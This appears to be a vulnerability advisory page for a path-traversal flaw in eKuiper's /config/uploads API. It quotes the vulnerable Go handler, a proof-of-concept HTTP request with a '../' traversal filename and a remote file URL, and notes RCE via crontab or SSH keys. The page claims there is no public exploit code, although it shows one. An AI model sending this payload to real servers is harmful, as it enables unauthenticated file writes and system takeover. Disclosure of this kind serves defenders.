GHSA-gj54-gwj9-x2c6 eKuiper /config/uploads API arbitrary file writing may lead to RCE
Unauthenticated attackers can write arbitrary files via path traversal in the upload API, potentially achieving remote code execution.
- Exploited in the wild
- Not known
- Login needed
- Not needed
- Attackable
- Over the internet
- Victim action needed
- Not needed
- Fix
- Available
What is GHSA-gj54-gwj9-x2c6?
GHSA-gj54-gwj9-x2c6 is a path traversal vulnerability in github.com/lf-edge/ekuiper, published on 3 Jul 2025. An attacker can exploit it over the internet without logging in, with no action from the victim.
Official description
Summary
eKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.
Details
func fileUploadHandler(w http.ResponseWriter, r *http.Request) {
switch r.Method {
// Upload or overwrite a file
case http.MethodPost:
switch r.Header.Get("Content-Type") {
case "application/json":
fc := &fileContent{}
defer r.Body.Close()
err := json.NewDecoder(r.Body).Decode(fc)
if err != nil {
handleError(w, err, "Invalid body: Error decoding file json", logger)
return
}
err = fc.Validate()
if err != nil {
handleError(w, err, "Invalid body: missing necessary field", logger)
return
}
filePath := filepath.Join(uploadDir, fc.Name)
err = upload(fc)
- The fc.Name parameter do not safely filtered.
PoC
POST /config/uploads HTTP/1.1
Host: localhost:9081
Content-Type: application/json
Content-Length: 89
{
"name": "../../../../tmp/success",
"file": "http://192.168.65.254:8888/success"
}
Impact
Tested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.
- SSRF
- Path-Travel
- May leads to RCE
The reporters is m0d9 from Tencent YunDing Lab.
Which versions are affected by GHSA-gj54-gwj9-x2c6?
6 open source packages ship an affected version, including github.com/lf-edge/ekuiper and github.com/lf-edge/ekuiper/v2.
| Package | Affected | Fixed in |
|---|---|---|
github.com/lf-edge/ekuiper Go | All versions | None |
github.com/lf-edge/ekuiper Go | All versions to 1.14.7 | None |
github.com/lf-edge/ekuiper Go | All versions to 1.14.7 | None |
github.com/lf-edge/ekuiper/v2 Go | All versions | 2.2.0 |
github.com/lf-edge/ekuiper/v2 Go | All versions | 2.2.0 |
github.com/lf-edge/ekuiper/v2 Go | All versions | 2.2.0 |
How do I fix GHSA-gj54-gwj9-x2c6?
Apply the vendor's patch.
Upgrade, and resolve every user-supplied path against an allowed base folder before opening it. More about Path traversal.
Is GHSA-gj54-gwj9-x2c6 being exploited?
There is no known exploitation of GHSA-gj54-gwj9-x2c6 in the wild and no public exploit code.
Sources
Also known as GO-2025-3800.